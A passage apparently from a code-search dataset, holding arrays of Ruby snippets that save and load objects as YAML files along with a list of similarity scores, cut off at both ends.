}\n File.open(path, 'w') { |f| f.puts(\n variables_to_save.inject({}) { |h,n| h[n] = instance_variable_get(n); h }.to_yaml\n ) }\n end", "def write_yaml\n File.open(@path, \"w\") do |f| \n if [email protected]?\n f.write @comments.join(\"\\n\")\n f.write(\"\\n\")\n end\n f.write YAML.dump(yaml)\n end\n end", "def save\r\n props = {}\r\n instance_variables.each{|v|\r\n # props[v.to_s[1..-1]] = instance_variable_get(\"#{v}\")\r\n p = v.to_s[1..-1]\r\n props[p] = self.send(p)\r\n }\r\n File.write(STORAGE, YAML.dump(props))\r\n end", "def write\n require 'yaml'\n open config_file_name, 'w' do |io|\n io.write to_yaml\n end\n end", "def to_yaml\n return @data.to_yaml\n end", "def save(filename)\n FileUtils.mkdir_p(File.dirname(filename))\n File.write(filename, YAML.dump(@metadata) + \"---\\n#{text}\")\n end", "def save_game\n #yaml = YAML::dump(self)\n puts \"Please enter a filename for the saved game.\"\n save_file_name = gets.chomp.downcase\n save_file = File.write(\"saved_games/#{save_file_name}.yaml\", self.to_yaml)\n #save_file.write(yaml)\n puts \"Your game has been saved!\"\n puts \"Goodbye!\"\n end", "def store ( yml, name )\n storefile = File.new( name, \"w\")\n storefile.puts(yml)\n storefile.close\n return [yml]\n end", "def write(filename, hash)\n File.open(filename, \"w\") { |f| f.write(hash.to_yaml) }\nend", "def write_to_fixture(name)\n File.open(self.class.file_path(name), \"w\") do |file|\n file.write to_yaml\n end\n end", "def save(path = @path)\n Ops.atomic_write(path) do |io|\n marshalled_package_sets = each_package_set.map do |pkg_set|\n set = pkg_set.to_h.transform_keys(&:to_s)\n set[\"package_set\"] = set[\"name\"]\n set\n end\n marshalled_packages = each_package.map do |pkg|\n pkg.to_h.transform_keys(&:to_s)\n end\n io.write YAML.dump(marshalled_package_sets + marshalled_packages)\n end\n end", "def save_game\n\t\tsaves = []\n\t\tsaves << @board\n\t\tsaves << @current_player\n\t\tsave_yaml = YAML.dump(saves)\n\n\t\tFile.open('saved_game.yaml', 'w') do |file|\n\t\t\tfile.puts save_yaml\n\t\tend\n\t\tputs \"Your game has been saved.\"\n\t\tputs \"Closing the game...\"\n\t\texit\n\tend", "def save_data(file, data)\n if ENV['RACK_ENV'] == 'test'\n local = File.expand_path(\"../test/data/#{file}\", __FILE__)\n File.open(local, 'w') { |open_file| open_file.write(YAML.dump(data)) }\n else\n local = File.expand_path(\"../data/#{file}\", __FILE__)\n File.open(local, 'w') { |open_file| open_file.write(YAML.dump(data)) }\n\n if USE_GOOGLE_DRIVE\n remote = google_session.file_by_title(file.to_s)\n remote.update_from_file(local)\n end\n end\nend", "def save(filename)\n data_to_save = @metadata.merge({\n \"licenses\" => licenses.map(&:to_cache),\n \"notices\" => notices\n })\n\n FileUtils.mkdir_p(File.dirname(filename))\n File.write(filename, data_to_save.to_yaml)\n end", "def write_to_file\n newline\n say \"Writing fixtures to YAML files\"\n records_by_table_name = {}\n\n self.models.each do |model_class, table_name|\n # Load all records of this model.\n records_by_table_name[table_name] ||= []\n records_by_table_name[table_name] += model_class.all\n end\n\n records_by_table_name.each do |table_name, records|\n yaml_data = \"\"\n\n if records.any?\n # Sequence number for records for which we do not have names.\n i = \"0\"\n data_array = []\n\n records.uniq.each do |record|\n # Get the name given for this record while populating. If not\n # available (autogenerated through callbacks), use a sequence number\n # prefixed by the table name.\n fixture_name = self.fixture_name_map[record] || \"#{table_name}_#{i.succ!}\"\n attrs = record.attributes\n attrs['delta'] = false if attrs.key?('delta')\n data_array << {fixture_name => attrs}.to_yaml.gsub(/--- \\n/, \"\")\n end\n\n yaml_data = data_array.join(\"\\n\")\n\n File.open(\"#{RAILS_ROOT}/test/fixtures/#{table_name}.yml\", \"w\") do |file|\n file.write yaml_data\n end\n end\n dot\n end\n end", "def save\n File.open( @plugins_file, 'w' ) do |out|\n YAML.dump( @plugins, out )\n end\n end", "def serialize \n Base64.encode64(@data.to_yaml) \n end", "def save(path = self.path)\n File.open(path, 'w') do |io|\n marshalled_packages = packages.values.map do |v|\n Hash['name' => v.name,\n 'srcdir' => v.srcdir,\n 'builddir' => (v.builddir if v.respond_to?(:builddir)),\n 'prefix' => v.prefix,\n 'dependencies' => v.dependencies]\n end\n YAML.dump(marshalled_packages, io)\n end\n end", "def write_yml(filename,object)\n File.open(filename,'w') do |f|\n f.write(YAML.dump(object))\n end\n end", "def save( file = @hobix_yaml )\n unless file\n raise ArgumentError, \"Missing argument: path to save configuration (0 of 1)\"\n end\n File::open( file, 'w' ) do |f|\n YAML::dump( self, f )\n end\n self\n end", "def persist\n settings = {\n area: @focus[:key]\n }\n File.open(@path, 'w') do |file|\n file.write settings.to_yaml\n end\n end", "def save_game(game)\n print \"Enter a new filename to save game in: \"\n filename = gets.chomp\n File.open(filename, \"w\") {|f| f.puts game.to_yaml}\nend", "def save(file)\n serialized_vars = []\n vars.each do |k, v|\n if marked_for_save.include?(k)\n serialized_vars << { 'name' => k, 'value' => v }\n end\n end\n File.open(file, 'w') do |out|\n YAML.dump(serialized_vars, out)\n end\n end", "def write_to_file(high_score)\n file = File.open(\"data/highscores.yml\",\"a+\"){ |file| file.write(high_score.to_yaml)}\nend", "def to_file filename\n File.open(filename, 'w') do |io|\n io.write self.to_yaml\n end\n end", "def yaml_dump(file, obj)\n\t\tFile.open(file.to_s, 'w+') {|f| f.write obj.to_yaml}\n\tend", "def save!\n File.open(connections_file, 'w') {|f| f.write(@connections.to_yaml) }\n end", "def save\n now = Time.now\n\n data = {\n :id => @id,\n :desc => @desc,\n :ctime => Timestamp.dump(@ctime) || Timestamp.dump(now),\n :mtime => Timestamp.dump(now),\n :ppg_filename => @ppg_filename,\n }\n jobinfo.write(YAML.dump(data))\n end", "def save_game\n Dir.mkdir(\"../saves\") unless Dir.exists?(\"../saves\")\n @@save_count += 1\n binding.pry\n log_saves\n savefile = \"../saves/save_#{@@save_count}.yml\"\n File.open(savefile, 'w') do | file |\n file.write(self.to_yaml)\n end\n end", "def save_game\n store = YAML.dump(self)\n File.open('lib/saved_game.yml', 'w') do |file|\n file.puts(store)\n end\n puts 'your game has been saved!'\n end", "def save_configuration\n File.open(config_file, \"w\") do |file|\n file.write(YAML.dump(@config))\n end\n end", "def save_queen(filename)\n File.open(filename, \"w+\") { |f| f.puts self.to_hash.to_yaml}\n end", "def save_game\n game = {\n :word => @word,\n :max_turn => @max_turn,\n :current_turn => @current_turn,\n :display_word => @display_word,\n :current_guess => @current_guess\n }\n File.open(\"hangman.yaml\", 'w') { |f| f.write(game.to_yaml)}\n print \"Game is saved!\\n\"\n end" ]
[ "0.8428015", "0.84194016", "0.8270237", "0.8258402", "0.82200676", "0.80422634", "0.7985691", "0.7929526", "0.7928438", "0.79016596", "0.7837447", "0.7752755", "0.7605779", "0.7594492", "0.75519294", "0.75519294", "0.75519294", "0.75519294", "0.75519294", "0.75519294", "0.75519294", "0.7514355", "0.7495765", "0.7495765", "0.74945116", "0.7484777", "0.74631906", "0.7445269", "0.74370474", "0.7431528", "0.73732704", "0.73618597", "0.73375905", "0.73353654", "0.73098147", "0.7305205", "0.7286333", "0.7253759", "0.7229739", "0.7208783", "0.72028553", "0.7180672", "0.71473336", "0.7108079", "0.7101405", "0.7079994", "0.7068346", "0.7048607", "0.7039045", "0.7037364", "0.7037364", "0.7036353", "0.7015296", "0.70000243", "0.6998834", "0.69944793", "0.69740176", "0.6929051", "0.6899088", "0.6870385", "0.68703216", "0.6868316", "0.68661815", "0.6863511", "0.6862931", "0.6844062", "0.6843717", "0.68155956", "0.6809073", "0.67812425", "0.67795724", "0.6761902", "0.67320406", "0.6702748", "0.6696103", "0.6689199", "0.6679134", "0.66521543", "0.66415954", "0.6627301", "0.6619262", "0.6613488", "0.6606149", "0.65998685", "0.6599318", "0.65993005", "0.65939504", "0.65906787", "0.6575782", "0.6558681", "0.65493053", "0.65434855", "0.6506963", "0.6498336", "0.6486237", "0.6467054", "0.6459492", "0.64594644", "0.64582187", "0.64392596" ]
0.6930513
57
loads data from disk and recreates the array of cd objects
def load_db input_data = File.read($fn) $cd_arr = YAML.load(input_data) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def restore_from_disk\n log(\"Loading Data in...\")\n\n if File.directory?('buckets') then\n entries = Dir.entries(\"buckets\").collect do |f| f unless f.match(\"bucket\").nil? end.compact\n\n entries.each do |e|\n File.open(\"buckets/\" + e) do |f|\n @contents = Marshal.load(f)\n end\n\n buckets[\"#{e.gsub(\".bucket\", \"\")}\"] = @contents\n\n end\n\n end\n\n end", "def load\n #p 'loading ...'\n #p @name\n @rarray = Array.new\n begin\n dshash = YAML.load_file('db/'+@name+'.store') \n #p dshash\n #@rkeys = Array.new\n #p 'loading ...'\n dshash.each {|k,v| # converts strings into symbols\n cid = dshash[k][\"id\"]\n next if cid < 1 # do not transform if id < 1 \n #@rkeys << k\n rhash = Hash.new \n v.each {|k2,v2|\n #p k2\n #p v2\n rhash[k2.to_sym] = v2\n }\n @rarray << rhash\n }\n rescue\n p 'no file now' \n self.insert({:id=>0})\n end\n end", "def reload; @data = File.read @path end", "def load_objects(dir_name, kind, klass)\n files(dir_name).map do |filename|\n # Read and parse data\n meta, content = *parse_file(filename, kind)\n\n # Get attributes\n attributes = {\n :filename => filename,\n :extension => File.extname(filename)[1..-1],\n :file => Nanoc3::Extra::FileProxy.new(filename)\n }.merge(meta)\n\n # Get actual identifier\n identifier = filename_to_identifier(filename, dir_name)\n\n # Get mtime\n mtime = File.stat(filename).mtime\n\n # Build item\n klass.new(content, attributes, identifier, mtime)\n end\n end", "def readDataset\n entries = Array.new\n Dir.entries(DATASET_DIR).sort.each do |x|\n if x != \".\" and x != \"..\"\n entries << DatasetEntry.new(File.join(DATASET_DIR, x))\n end\n end\n entries\nend", "def refresh!\n @lines = load_from_file\n end", "def read_data_to(dir, data); end", "def cache\n Dir.chdir( @location ) do\n #prime unless File.file?('0.yml')\n primer = YAML::load(File.new('0.yml'))\n @recordkeys = primer.keys\n @structclass = Struct.new(*@recordkeys)\n recs = Dir.glob('*.yml')\n recs.each do |f|\n data = YAML::load(File.new(f))\n @records[f.to_i] = struct(data)\n end\n end\n @next_index = index.last.to_i + 1\n end", "def load_items\n @items = []\n data_sources.each do |ds|\n items_in_ds = ds.items\n items_in_ds.each { |i| i.identifier = File.join(ds.items_root, i.identifier) }\n @items += items_in_ds\n end\n\n @items_loaded = true\n end", "def init_list!\n write! unless File.exist?(path)\n @init_mtime = File.mtime(path)\n content.deep_merge!(\n MultiJson.load(\n File.open(path, \"r\") do |file|\n file.flock(File::LOCK_SH)\n file.read\n end\n )\n )\n end", "def load_deck_infos\r\n # p @deck_infos\r\n dirname = File.join(@resource_path, 'carte')\r\n Dir.foreach(dirname) do |filename|\r\n path_cand = File.join(dirname , filename)\r\n if File.directory?(path_cand)\r\n #exams directories\r\n if (filename != \".\" && filename != \"..\")\r\n # potential deck folder\r\n deck_info_yaml = File.join(path_cand, 'mazzo_info')\r\n if File.exist?(deck_info_yaml)\r\n opt = YAML::load_file( deck_info_yaml )\r\n if opt and opt.class == Hash\r\n key = opt[:key].to_sym # key is a symbol, path is a string\r\n @deck_infos[key] = {:name => opt[:name], :path => opt[:key], :color_trasp => opt[:color_trasp]}\r\n end\r\n end\r\n end\r\n end\r\n end\r\n #p @deck_infos\r\n end", "def data_load\r\n unless $data_actors\r\n $data_actors = _clean_name_utf8(load_data(\"Data/Actors.rxdata\"))\r\n $data_classes = _clean_name_utf8(load_data(\"Data/Classes.rxdata\"))\r\n $data_enemies = _clean_name_utf8(load_data(\"Data/Enemies.rxdata\"))\r\n $data_troops = _clean_name_utf8(load_data(\"Data/Troops.rxdata\"))\r\n $data_tilesets = _clean_name_utf8(load_data(\"Data/Tilesets.rxdata\"))\r\n $data_common_events = _clean_name_utf8(load_data(\"Data/CommonEvents.rxdata\"))\r\n $data_system = load_data_utf8(\"Data/System.rxdata\")\r\n end\r\n $game_system = Game_System.new\r\n $game_temp = Game_Temp.new\r\n end", "def load_data\r\n\t\t@data_array = IO.readlines(@path)\r\n\t\tratings_array=[]\r\n\t\t# ya this is gonna be an array of hashes\r\n\t\t# with array index as movie id and hash with kew of rank and value of count \r\n\t\tmovie_pop_array_hash=[]\r\n\t\tuser_ratings_arr = []\r\n\t\tdata_array.each do |line|\r\n\t\t\ttemp = line.split(\"\\t\")\r\n\t\t\ttemp.map! { |i| i.to_i }\r\n\t\t\t####### THIS CREATES MOVIE POPULARITY TABLES\r\n\t\t\tmovie_pop_store(movie_pop_array_hash, temp)\r\n\t\t\t####### THIS CREATES USER RATING TABLES\r\n\t\t\tuser_rate(user_ratings_arr, temp)\r\n\t\t\t@movie_viewers[temp[0]] << temp[1]\r\n\t\tend\r\n\t\t@mov_pop_ar_hs = movie_pop_array_hash\r\n\t\t@user_ratings = user_ratings_arr\t\r\n\tend", "def initialize(path)\n @data = File.open(path, 'rb')\n reload!\n end", "def load(from_disk = false)\n if id = read_head_id\n @head = get(id)\n @root = @head.tree\n end\n\n load_from_disk if from_disk\n end", "def populate_memory\n File.foreach(@file_name) do |line|\n @memory[@memory_counter] = line.chomp\n @memory_counter += 1\n\n @done = true if @memory_counter > 255\n end\n end", "def initialize(directory=nil)\n @all_states_edison_data = []\n if directory.nil?\n state_names_list.each do |state_name|\n Dir.mktmpdir do |d|\n path = \"#{d}/#{state_name}.json\"\n data_stream = fetch_fresh_data(state_name)\n File.open(path, 'w'){|f| f.write(File.read(data_stream.path))}\n @all_states_edison_data.push(StateEdisonData.new(path)) \n end\n end\n else\n Dir[\"#{directory}*.json\"].each do |json_file|\n @all_states_edison_data.push(StateEdisonData.new(json_file))\n end \n end\n end", "def data_files\n data_file_names.map! do |filename|\n Bitcask::DataFile.new filename\n end\n end", "def load_data\n @data=[]\n marker_found=false\n @file.rewind\n @file.each_line do |line|\n if !marker_found && @sentinel.call(line) then\n marker_found=true\n end\n\n @data << line if marker_found\n end\n end", "def load_decks_data\n @load_decks_data ||= YAML.safe_load(File.read(File.join(__dir__, 'decks.yml')))\n end", "def initialize\n load_data\n end", "def load_objects\n objects = []\n [@opts[:organization_data], @opts[:ticket_data], @opts[:user_data]]\n .zip(['organization', 'ticket', 'user'])\n .map do |file_paths, object_type|\n file_paths.each do |file_path|\n read_objects = JSON.parse File.read(file_path)\n read_objects.each { |o| o['_type'] = object_type }\n objects.concat read_objects\n end\n end\n return objects\n end", "def load_data\n\t\tload_using_arr(train_file,train_hash,0,1)\n\t\tload_using_arr(train_file,movie_hash,1,0)\n\tend", "def load_data(options={})\n @data = @files.collect do |seeds_file|\n seeds_file.instanciate_data(@keys, :override => options[:override]) \n end.flatten.compact\n end", "def load_files\n @data = Hash.new\n @cities.keys.each { |city| \n @data[city] = Array.new(@cities[city])\n (@cities[city]+1).times { |i|\n @data[city][i] = Hash.new\n @trunc_params.each { |x|\n begin\n @data[city][i][x] = IO.readlines(@basedir+\"/#{city}/sample_#{i}/#{x}.out\")\n @data[city][i][x].map! do |x| process_line x end\n rescue SystemCallError\n File.open('errorout','a') do |f| f.puts(@basedir+\"/#{city}/sample_#{i}/#{x}.out\") end\n @data[city][i][x] = nil\n end\n }\n }\n }\n end", "def read_data\n @files.each do |file|\n @source.location = file[:location]\n instance_variable_set('@' + file[:var].to_s,\n @source.send(file[:method], file[:klass]))\n end\n end", "def reload!\n @boxes.clear\n\n Dir.open(@directory) do |dir|\n dir.each do |d|\n next if d == \".\" || d == \"..\" || [email protected](d).directory?\n @boxes << Box.new(d, @directory.join(d), @action_runner)\n end\n end\n end", "def load_data\n data = {}.with_indifferent_access\n\n %w[.json .yaml].each do |ext|\n Dir.glob(\"#{DATA_DIR}/*#{ext}\") do |fname|\n key = File.basename(fname, ext).to_sym\n puts \"Loading data[:#{key}] from #{fname}...\"\n data[key] =\n if ext == '.json'\n JSON.parse(File.read(fname))\n else\n Psych.parse(fname)\n end\n end\n end\n\n data\n end", "def load_data_file(data_file)\n # Determine data_file index.\n @keydir.data_files |= [data_file]\n file_id = @keydir.data_files.index data_file\n \n pos = 0\n data_file.each do |entry|\n # Check for existing newer entry in keydir\n if (cur = @keydir[entry.key]).nil? or entry.tstamp >= cur.tstamp\n @keydir[entry.key] = Keydir::Entry.new(\n file_id,\n data_file.pos - pos,\n pos,\n entry.tstamp\n )\n end\n\n pos = data_file.pos\n end\n end", "def load_data\n raise \"Data is temporarily disabled\" unless EolConfig.data?\n EOL.log_call\n # Sad that we need to load all of this for the about and glossary tabs, but\n # TODO - we can cache this, later:\n @taxon_data = []\n @range_data = []\n @data_point_uris = []\n @categories = []\n @include_other_category = @data_point_uris &&\n @data_point_uris.detect { |d| d.predicate_known_uri.nil? ||\n d.predicate_known_uri.toc_items.blank? }\n @units_for_select = []\n end", "def load\n sleeper = 0.0\n while File.exist? lock_file\n sleeper += 0.1 if sleeper <= 10.0\n sleep(sleeper.to_i)\n end\n # :symbolize_names does not play nicely with :create_additions\n tmp = JSON.parse(File.read(path),\n {:symbolize_names=>false, :create_additions=>true})\n @data = {}\n tmp.each_pair{ |k,v| self[k] = v }\n end", "def initialize(info, prefix_dir) \r\n @info_dictionary = info\r\n @files = Array.new\r\n @piece_files = Array.new\r\n @pieceLength = info[\"piece length\"]\r\n @numBytes = 0\r\n @totalPieces = info[\"pieces\"].bytesize / 20\r\n \r\n build_dir_path(prefix_dir)\r\n \r\n unless prefix_dir.chars.last == File::SEPARATOR \r\n prefix_dir += File::SEPARATOR \r\n end\r\n \r\n no_files_existed = true\r\n if info[\"files\"] != nil\r\n # multiple file mode\r\n \r\n unless Dir.exists?(prefix_dir + info[\"name\"])\r\n Dir.mkdir(prefix_dir + info[\"name\"])\r\n end\r\n \r\n info[\"files\"].each { |file|\r\n @numBytes += file[\"length\"]\r\n filename = file[\"path\"].last\r\n \r\n build_dir = prefix_dir + info[\"name\"] + File::SEPARATOR # for making directory trees\r\n file[\"path\"].rotate(-1).drop(1).each { |dir| # don't use filename (last element)\r\n build_dir += (dir + File::SEPARATOR) # use constant separator for portability\r\n unless Dir.exists?(build_dir)\r\n Dir.mkdir(build_dir)\r\n end\r\n }\r\n \r\n if File.exists?(build_dir + filename)\r\n no_files_existed = false\r\n end\r\n @files << [File.open(build_dir + filename, File::RDWR | File::CREAT), file[\"length\"]]\r\n if @files.last[0].size < @files.last[1]\r\n @files.last[0].seek(@files.last[0].size, IO::SEEK_SET)\r\n @files.last[0].write(\"\\0\" * (@files.last[1] - @files.last[0].size))\r\n end\r\n }\r\n else\r\n # single file mode\r\n @numBytes = info[\"length\"] \r\n if File.exists?(prefix_dir + info[\"name\"])\r\n no_files_existed = false\r\n end\r\n @files << [File.open(prefix_dir + info[\"name\"], File::RDWR | File::CREAT), info[\"length\"]]\r\n if @files.last[0].size < @files.last[1] # still needs to be checked even if file exists\r\n @files.last[0].seek(@files.last[0].size, IO::SEEK_SET)\r\n (0..((@files.last[1] - @files.last[0].size)/1024)).each {\r\n @files.last[0].write(\"\\0\" * 1024)\r\n }\r\n end\r\n end\r\n unless no_files_existed\r\n recheckComplete()\r\n else\r\n gen_initial_states()\r\n end\r\n \r\n #puts @bitfield.to_binary_string\r\n end", "def load_chefzero_databag(databag)\n databag_hash = Hash.new\n databag_dir = Dir.glob(\"#{data_bag_load_path}/#{databag}/\" + '*.json')\n\n databag_dir.each do |item|\n File.open(item, \"r\") do |f|\n data_bag_item = MultiJson.load(f)\n id = data_bag_item.delete(\"id\")\n\n databag_hash[id] = data_bag_item\n end\n end\n\n databag_hash\n end", "def load_db\n basic_foods = {} # store BasicFood objects\n recipes = {} # store Recipe objects\n File.readlines('FoodDB.txt').each do |line|\n line = line.chomp.split(\",\")\n if line[1] == \"b\"\n basic_food = BasicFood.new(line[0], line[2])\n basic_foods[basic_food.name] = basic_food\n elsif line[1] == \"r\"\n recipe = Recipe.new(line[0], line[2..line.size])\n recipes[recipe.name] = recipe\n end\n end\n [basic_foods, recipes]\n end", "def load_objects(dir_name, kind, klass)\n all_split_files_in(dir_name).map do |base_filename, (meta_ext, content_ext, locales)|\n I18n.locale = I18n.default_locale # Set current locale to default\n\n # Get filenames\n meta_filename = filename_for(base_filename, meta_ext)\n content_filename = filename_for(base_filename, content_ext)\n\n # is binary content?\n is_binary = !!(content_filename && [email protected][:text_extensions].include?(File.extname(content_filename)[1..-1]))\n\n # Read content and metadata\n meta, content_or_filename = parse(content_filename, meta_filename, kind, (is_binary && klass == Nanoc::Item))\n\n # Is locale content?\n # - excluded content with locale meta IS a locale content\n # - excluded content without locale meta IS NOT locale content\n # - included content with or without locale meta IS locale content\n # - included content with locale meta set to `false` IS NOT locale\n # content\n is_locale = !!(meta['locale'] || (meta['locale'] != false && locale_content?(content_filename || meta_filename, kind)))\n\n # Create one item by locale, if content don't need a localized version,\n # use default locale\n (is_locale ? I18n.available_locales : [I18n.default_locale]).map do |locale|\n I18n.locale = locale # Set current locale\n\n # Process for localized files\n if is_locale\n # Get filenames for localized content\n meta_filename = filename_for(base_filename, meta_ext)\n content_filename = filename_for(base_filename, content_ext)\n\n # Read content and metadata for localized content\n meta, content_or_filename = parse(content_filename, meta_filename, kind, (is_binary && klass == Nanoc::Item))\n\n # merge meta for current locale, default locale meta used by\n # default is meta don't have key\n meta_locale = meta.delete('locale') {|el| Hash.new }\n meta = (meta_locale[I18n.default_locale] || Hash.new).merge(meta)\n meta.merge!(meta_locale[locale.to_s] || Hash.new)\n end\n\n # Get attributes\n attributes = {\n :filename => content_filename,\n :content_filename => content_filename,\n :meta_filename => meta_filename,\n :extension => content_filename ? ext_of(content_filename)[1..-1] : nil,\n :locale => locale,\n # WARNING :file is deprecated; please create a File object manually\n # using the :content_filename or :meta_filename attributes.\n # TODO [in nanoc 4.0] remove me\n :file => content_filename ? Nanoc::Extra::FileProxy.new(content_filename) : nil\n }.merge(meta)\n\n # Get identifier\n if meta_filename\n identifier = identifier_for_filename(meta_filename[(dir_name.length+1)..-1])\n elsif content_filename\n identifier = identifier_for_filename(content_filename[(dir_name.length+1)..-1])\n else\n raise RuntimeError, \"meta_filename and content_filename are both nil\"\n end\n # Prepend locale code to identifier if content is localized\n identifier = \"/#{locale}#{identifier}\" if is_locale\n\n # Get modification times\n meta_mtime = meta_filename ? File.stat(meta_filename).mtime : nil\n content_mtime = content_filename ? File.stat(content_filename).mtime : nil\n if meta_mtime && content_mtime\n mtime = meta_mtime > content_mtime ? meta_mtime : content_mtime\n elsif meta_mtime\n mtime = meta_mtime\n elsif content_mtime\n mtime = content_mtime\n else\n raise RuntimeError, \"meta_mtime and content_mtime are both nil\"\n end\n\n # Create layout object\n klass.new(\n content_or_filename, attributes, identifier,\n :binary => is_binary, :mtime => mtime\n )\n end\n end.flatten # elements is an array with all locale item, flatten in to one items list\n end", "def load_data\n self.open if @io.nil?\n @lines = @io.readlines\n @io.rewind\n @lines.delete_if {|line| line.match(/^\\s*$/)}\n @num_lines = @lines.count\n end", "def read_data_file(path); end", "def load(name)\n\t\t\tfiles = []\n\t\t\[email protected] { |dp|\n\t\t\t\tif(dp.directory?)\n\t\t\t\t\tdp.opendir { |dir|\n\t\t\t\t\t\tdir.each { |f|\n\t\t\t\t\t\t\tif (f != \".\" && f != \"..\" && File.extname(f).downcase == \".rb\" && f[0...name.length] == name)\n\t\t\t\t\t\t\t\tfiles << dp + f\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t}\n\t\t\tif(files.empty?)\n\t\t\t\traise \"No suitable MEC file for \\\"#{name}\\\" found!\"\n\t\t\tend\n\t\t\tfiles.each { |file|\n\t\t\t\tloadFile(file)\n\t\t\t}\n\t\tend", "def load_geo_data\n countries_hash = JSON.parse(File.read(Rails.root.join('lib/countries_data/countries.json')))\n cities_hash = JSON.parse(File.read(Rails.root.join('lib/countries_data/cities.json')))\n countries_hash.each do |country_hash|\n cities_arr = cities_hash[country_hash['name']]\n\n next if cities_arr.nil?\n\n country_model = create_country country_hash\n create_cities(country_model, cities_arr)\n end\nend", "def buildArray(localObjCache, increase)\n localDirContents=[] #Array of all items in the cwd\n localDirContents=Dir[Dir.pwd+\"/*\"] #Builds the array of items in cwd\n\n localDirContents.each do |item|\n if File.file?(item)\n fileObj = FileName.new(item)\n localObjCache.push(fileObj)\n n = increase.call #printing every 100 files scanned\n if n % 100 == 0\n puts n\n end\n elsif File.directory?(item)\n Dir.chdir(item)\n buildArray(localObjCache, increase) \n end\n end\n\n return localObjCache\n end", "def load_cards(folder)\r\n num_cards_onsuit = 10\r\n card_fname = \"\"\r\n if @deck_france\r\n num_cards_onsuit = 13\r\n @nomi_simboli = ['simbo', 'simbo', 'simbo' ]\r\n @nomi_semi = [\"fiori\", \"quadr\", \"cuori\", \"picch\"]\r\n end\r\n @log.debug \"Load cards in #{folder}, current deck is #{@current_deck_type}\" \r\n if @current_deck_type == folder\r\n @log.debug \"Avoid to load a new card deck\"\r\n return\r\n end \r\n begin\r\n # Il modo di caricare le immagini con una linea l'ho copiato dall'esempio FxGui dctest.rb\r\n # In quell'esempio l'immagine png era gi� trasperente di per se. Non dimenticare di chiamare create prima di usare drawimage\r\n # dctest.rb � un esempio fake, in quanto l'immagine viene riprodotta col suo background originale bianco, che � anche lo sfondo del canvas\r\n # Per rendere l'immmagine veramente trasparente bisogna usare il metodo blend prima di create\r\n @cards = []\r\n @cards_rotated = []\r\n folder_fullpath = File.join(@resource_path, \"carte/#{folder}\")\r\n deck_info_yaml = File.join(folder_fullpath, 'mazzo_info')\r\n if File.exist?(deck_info_yaml)\r\n opt_deck = YAML::load_file( deck_info_yaml )\r\n if opt_deck[:num_carte] != nil\r\n num_cards_onsuit = opt_deck[:num_carte] / 4\r\n end \r\n end\r\n folder = folder_fullpath.strip\r\n @foldercards_fullpath = folder\r\n @log.debug \"Load all cards...\"\r\n if num_cards_onsuit == 13\r\n # abbiamo un mazzo da 52 carte, bisogna aggiustare i simboli\r\n @deck_information.mazzo52\r\n else\r\n @deck_information.mazzo40\r\n end\r\n 4.times do |seed| \r\n (1..num_cards_onsuit).each do |index|\r\n card_fname = File.join(folder, \"%02d_#{@nomi_semi[seed]}.png\" % index)\r\n #img = FXPNGImage.new(getApp(), nil, IMAGE_KEEP|IMAGE_ALPHACOLOR)\r\n #img = FXPNGIcon.new(getApp(), nil, Fox.FXRGB(0, 128, 0), IMAGE_KEEP|IMAGE_ALPHACOLOR )\r\n #img = FXPNGIcon.new(getApp, File.open(card_fname).read,\r\n # IMAGE_KEEP|IMAGE_SHMI|IMAGE_SHMP)\r\n img = FXPNGIcon.new(getApp, nil,\r\n IMAGE_KEEP|IMAGE_SHMI|IMAGE_SHMP)\r\n FXFileStream.open(card_fname, FXStreamLoad) { |stream| img.loadPixels(stream) }\r\n #p card_fname\r\n #p img.hasAlpha?\r\n #p img.transparentColor\r\n #img.blend(@color_backround) # molto importante, altrimenti le immagini pgn trasparenti non vengono affatto riprodotte come tali\r\n #@cards << FXPNGImage.new(getApp(), File.open(card_fname, \"rb\").read)\r\n @cards << img\r\n \r\n #rotated image\r\n if @using_rotated_card\r\n #img_rotated = FXPNGIcon.new(getApp(), nil, Fox.FXRGB(0, 128, 0), IMAGE_KEEP|IMAGE_ALPHACOLOR )\r\n #FXFileStream.open(card_fname, FXStreamLoad) { |stream| img_rotated.loadPixels(stream) }\r\n #img_rotated.blend(@color_backround)\r\n img_rotated = FXPNGIcon.new(getApp, nil, IMAGE_KEEP|IMAGE_SHMI|IMAGE_SHMP)\r\n FXFileStream.open(card_fname, FXStreamLoad) { |stream| img_rotated.loadPixels(stream) }\r\n img_rotated.rotate 90\r\n @cards_rotated << img_rotated\r\n end\r\n end\r\n end\r\n \r\n #symbols\r\n @symbols_card = []\r\n @log.debug \"Load all symbols...\"\r\n num_of_symbols = @nomi_simboli.size\r\n num_of_symbols.times do |seed| \r\n card_fname = File.join(folder, \"%02d_#{@nomi_simboli[seed]}.png\" % 1)\r\n #img = FXPNGIcon.new(getApp(), nil, Fox.FXRGB(0, 128, 0), IMAGE_KEEP|IMAGE_ALPHACOLOR )\r\n #FXFileStream.open(card_fname, FXStreamLoad) { |stream| img.loadPixels(stream) }\r\n #img.blend(@color_backround) # molto importante, altrimenti le immagini pgn trasparenti non vengono affatto riprodotte come tali\r\n # invece blend non e' alpha color, basta caricare il ogn trasparente in questo modo\r\n # poi bisogna disegnare la carta usando drawicon\r\n img = FXPNGIcon.new(getApp, nil,\r\n IMAGE_KEEP|IMAGE_SHMI|IMAGE_SHMP)\r\n FXFileStream.open(card_fname, FXStreamLoad) { |stream| img.loadPixels(stream) }\r\n #p img\r\n @symbols_card << img\r\n end\r\n \r\n # create cards\r\n create_cards\r\n # store the value of deck to avoid double load\r\n @current_deck_type = folder\r\n rescue\r\n str = \"Errore nel caricare l'immagine delle carte: #{$!}\\n\"\r\n str += \"Mazzo subdir utilizzato: #{folder}\\n\"\r\n str += \"File: #{card_fname}\\n\"\r\n str += \"Controllare l'opzione \\\"deck_name\\\" e che la subdir del mazzo siano corrette\\n\"\r\n @log.error str\r\n log_critical_error str\r\n end\r\n end", "def load_file(path, name)\n data_file = PStore.new(path)\n data = nil\n data_file.transaction do\n data = data_file[name]\n end\n if data == nil\n data = Array.new\n end\n data\nend", "def load(data)\n end", "def preload_data\n @file.seek(0)\n @contents = StringIO.new(@file.read)\n @file.close\n end", "def load; end", "def load; end", "def load; end", "def reload\n self.data = self.class.load_data\n self\n end", "def load(path)\n if File.exists?(path)\n @data = CSV.read(path)\n @data.shift(1)\n else\n log.warning \"No data file found at #{path}\"\n @data = []\n end\n @data\n end", "def load_array\n #return if $valid_array\n $valid_array = false\n @data = []\n File.open(@app_file_path).each do |line|\n # 